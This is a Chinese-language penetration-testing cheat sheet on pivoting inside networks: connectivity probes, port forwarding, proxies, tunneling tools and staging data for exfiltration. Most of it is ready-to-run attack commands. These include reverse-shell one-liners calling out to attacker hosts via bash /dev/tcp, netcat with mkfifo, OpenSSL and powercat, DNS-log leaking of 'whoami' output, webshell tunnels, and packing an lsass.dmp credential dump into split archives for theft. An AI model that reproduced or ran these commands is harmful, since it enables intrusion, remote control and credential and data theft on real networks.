目录
1 2 3 4 5 6
| .转发场景介绍 .连通性测试 .正向端口转发 .反向端口转发 .ssh多级转发 .文件打包&传输
|
正向、反向代理
Client -> Transit server -> Server: Client能够正向连接Transit server。Transit server
Client <- Transit server -> Server: Client无法正向连接Transit server,但Transit server能够反向连接Client。
转发场景介绍
1 2 3 4 5 6 7 8 9 10
| 反弹shell 反弹端口 反弹socks 目标处于网络边界,内外网都可以访问,网络边界主机未安装防火墙,所有端口都对互联网开放, 此类业务场景已经极少出现; 目标处于内网,可以访问外网,但是出口部署的有防火墙策略限制外部网络直接访问内网的敏感端 口(3389、22、445、139等); 目标处于内网,不能访问外网,但是可以访问边界主机,防火墙策略限制外部网络直接访问内网的 敏感端口(3389、22、445等)。
|
连通性测试
1 2 3 4 5 6 7
| TCP UDP ICMP HTTP\S DNS 代理测试
|
TCP
内网Windows:
1 2 3 4
| FOR /L %i IN (1,1,65535) DO (cmd /c "start /b telnet 151.*.*.147 %i") 自动telnet 所有端口 外网vps: tcpdump
|
UDP
1 2 3 4 5
| FOR /L %i IN (1,1,65535) DO (cmd /c "start /b nslookup -port=%i rcoil.me 151.*.*.147") 外网vps: nc -lvp port 内网机器: nc -nvv ip port
|
ICMP
1 2 3 4
| ICMP 外网vps:抓包、tcpdump icmp 内网机器:直接ping
|
HTTP\S
1 2 3
| 外网vps:nc -lvp 80 (or 8080等) 内网机器: curl vps-ip:8080
|
DNS
1 2 3 4 5
| 外网vps: nc -u -lvp 53 内网机器: windows: nslookup www.baidu.com vps-ip linux: dig @vps-ip www.baidu.com
|
代理查询
1 2 3 4 5 6
| reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" download PAC: reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Strrings" /v AutoConfigURL
|
代理测试
1 2 3 4 5
| curl www.baidu.com //不通 curl -x porxy -ip:8080 www.baidu.com //通 Tips: 是否有hostname类似于proxy的机器
|
反弹Shell
1 2 3 4 5 6 7 8
| bash netcat ICMP dnslog powercat 加密反弹shell Sctipt Language
|
bash
1 2 3
| bash -i >& /dev/tcp/10.0.0.1/53 0>&1
|
netcat
1 2 3 4 5 6 7 8
| 正向: nc -lp 1234 -e cmd.exe nc -lp 1234 -e /bin/bash 正向: win:nc -e cmd.exe ip port linux:nc -e /bin/sh ip port rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
|
ICMP
1 2 3 4 5 6 7
| vps: git clone https://github.com/inquisb/icmpsh.git apt-get install python-impacket sysctl -w net.ipv4.icmp_echo_ignore_all=1 python icmpsh_m.py 39.xxx.xxx.17 182.xxx.xxx.207 内网 Windows: icmpsh.exe -t 39.xxx.xxx.17 -d 500 -b 30 -s 128
|
dnslog
1 2 3 4 5 6 7 8
| http://dnslog.cn Linux curl http://qqtvut.dnslog.cn'whoami' ping 'whoami'.qqtvut.dnslog.cn Windows ping %USERNAME%.b182oj.ceye.io 注:使用场景:SQL盲注、不回显命令执行
|
powercat
1 2 3 4
| import-module powercat.ps1 powercat -c 192.168.52.131 443 -e cmd.exe powercat -l -p 443 -t 1000
|
加密反弹shell
1 2 3 4 5 6 7 8
| 第一步,在vps上生成SSL证书的公钥/私钥对 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes 第二步,在VPS监听反弹shell openssl s_server -quiet -key key.pem -cert cert.pem -port 4433 第三步 在目标上用openssl加密反弹shell的流量 mkfifo /tmp/s;/bin/bash -i < /tmp/s 2>&1|openssl s_client -quiet -connect 172.16.2.163:4433 > /tmp/s;rm /tmp/s
|
Sctipt Language
1 2 3 4 5 6 7
| Python Ruby Perl Java PHP Powershell
|
全局代理软件
1 2 3
| ProxifierSocksCap64 proxychains 注: proxychains不支持udp和icmp协议,所以使用nmap要加上-sT、-Pn
|
netsh
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 新建联入规则 netsh advfirewall firewall add rule name="Allow RDP" dir=in action=allow protocol=TCP localport=8081 //允许外部的 tcp 8081 端口连入 查看所有转发规则 netsh interface portproxy show all 添加一个端口映射 netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=8080 connectaddress=192.168.206.100 connectport=3389 清除规则 netsh interface portproxy delete v4tov4 listenaddress=192.168.206.101 listenport=8080 netsh advfirewall firewall delete rule name="transit test" (防火墙) Tips:不出网机器,通过边界机器netsh出 A - 边界 - 公网 (被动连接,创建规则即可)
|
EW
1 2 3 4 5 6 7 8 9 10 11
| 正向连接,直接架设服务端 ./ew -s ssocked -l 1080 直接配置代理即可 二级 B: ew_for_Win.exe -s ssocksd -l 8888 A: ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153 Attcker: proxy to 10.129.72.168:8080
|
Termite
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 1.以服务模式启动一个agent服务。 ./agent -l p 8888 2.令管理端连接到agent并对agent进行管理。 ./admin -c 127.0.0.1 -p 8888 3.show 0M +-- 1M | +-- 2M 4.开启socks goto 2 socks 1080 5.shell shell 7777
|
Http隧道穿透
1 2 3 4 5 6 7 8 9 10 11
| reDuh java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp nc -nvv 127.0.0.1 1010 [createTunnel] 7777:172.16.0.4:3389 reGeorg(建议无socket版) python reGeorgSocksProxy.py -p 8080 -u http://1.2.3.4/tunnel.php Tunna python proxy.py -u http://192.168.113.210/conn.aspx -l 1080 -v python proxy.py -u http://192.168.113.210/conn.aspx -l 99 -r 8080 -s -v -ndtunnel python dt.py -u
|
Http隧道穿透
1 2 3 4 5 6 7 8 9 10
| Abptts pip install httplib2 pip install pycrypto 单端口 python abpttsclient.py -c webshell/config.txt -u http://192.168.113.210/f.aspx -f 127.0.0.1:1111/127.0.0.1:8080 多端口 python abpttsclient.py -c webshell/config.txt -u http://192.168.113.210/f.aspx -f 127.0.0.1:1111/127.0.0.1:8080 -f 127.0.0.1:2222/172.16.0.12:443
|
ssh转发 - 修改配置
1 2 3 4 5 6 7 8 9 10 11
| 修改ssh配置 vi /etc/ssh/sshd_config AllowTcpForwarding yes GatewayPorts yes TCPKeepAlive yes 保持心跳,防止 ssh 断开 PermitTuneel yes #Tunnel启用 ClientAliveInterval 60 #指定了服务器端向客户端请求消息的时间间隔, ClientAliveCountMax 3 #请求后客户端没有响应的次数达到3次,就自动断开 PasswordAuthentication yes /etc/init.d/ssh restart
|
ssh正向转发
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ssh正向端口转发(非目标机器执行) ssh -CfNg -L lport:172.16.0.7:3389 root@172.16.0.155 -p 22 ssh正向socks代理 putty开启 Putty Configuration > Connection > SSH > Tunnels > D1080 Dynamic 反向端口转发 Lhost < - - - > proxy < - - - > firewal < - - - > Rhost lcx ew Termite ssocksPowershell FRP rinetd
|
ssh反向转发
lcx
1 2 3 4 5 6 7 8 9 10 11
| 被控端 lcx -slave 控制端ip port 被控端ip port 控制端 lcx -listen 接收端口 使用端口 FRP frp 是一个可用于内网穿透的高性能的反向代理应用 支持 tcp,udp 协议,http 和 https 应用协议 frp 采用go语言开发,支持Windows、*nix 分为服务端、客户端。服务端部署在VPS,客户端部署在跳板机 配置文件: /frps.ini /frpc.ini
|
FRP配置文件
1 2 3 4 5 6 7 8 9 10 11
| server: [common] bind_addr = 0.0.0.0 bind_port = 7000 token = dm.org dashboard_addr = 0.0.0.0 adshboard_port = 7438 [socks5] type = tcp remote_port = 8010 plugin = socks5
|
FRP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| server: [common] server_addr = 服务端IP server_port = 7000 token = dm.org dashboard_addr = 0.0.0.0dashboard_port = 7438 dashboard_user = dm dashboard_pwd = sdob23242@# [socks5_proxy] type = tcp remote_port =8010 plugin = socks5 plugin_user = dm123 Rinetd 添加防火墙规则 netsh advfirewall friewall add rul name="transit test2" dir=in program="c:test/rinetd.exe" action=allow 编写规则 启动 编写规则 echo 0.0.0.0 7777 192.168.111.103 4444 > conf.txt 启动 rinetd.exe -c c:/test/conf.txt 清除防火墙规则 netsh advfirewall firewall delete rule name="transit test2" dir=in ssh 参数 -C 压缩传输,加快传输速度 -f 在后台对用户名密码进行认证 -N 仅仅只用来转发,不用在弹回一个新的shell -n 后台运行 -q 安静模式,不要显示任何debug信息 -l 指定ssh登录名 -g 允许远程主机连接到本地用于转发的端口 -L 进行本地端口转发 -R 进行远程端口转发 -D 动态转发,即socks代理 -T 禁止分配伪终端 -p 指定远程ssh服务端口 ssh 反向转发修改ssh配置 反向端口转发(目标机器执行) ssh -CfNg -R sshsrvport:172.16.0.7:3389 root@172.16.0.155 -p 22 vi ./rinetd.conf 0.0.0.0 3389 127.0.0.1 1389 /usr/sbin/rinetd -c rinetd.conf
|
反向socks代理
1 2 3 4 5 6 7 8 9 10 11
| ssh -qTfnN -D 0.0.0.0:1080 root@127.0.0.1 -p 22 //监听端口(跳板机) ssh -CfNg -R 0.0.0.0:1081:127.0.0.1:1080 root@192.168.3.96 -p 522 //建立连接 (跳板机) Date Exfiltration 文件打包 文件切片 文件加密 节点选择 各种云盘 Tips: 内网大流量机器作为传输对象,如WSUS服务器、视频会议系统等
|
文件打包 - Makecab
1 2 3 4 5 6 7 8 9 10 11 12 13
| 1.单文件打包压缩 压缩: makecab lsass.dmp 1.zip 解压: expand 1.zip 1.dmp 2.多文件打包压缩 压缩: dir /b > list.txt makecab /f list.txt /d maxdisksize=102400 /f /d maxdisksize==102400 单位是字节,这里为1m 解压: expand 1.cab -f:* c:\expand\ c:\expand\目录必须存在
|
文件打包 -7z
1 2 3 4 5
| rar rar.exe a -r -v1m -padmin -m3 -x*.txt -ta c:\test.rar C:\test 7z 7z.exe a c:\xx.7z -ppass -mhe c:\test -v1m
|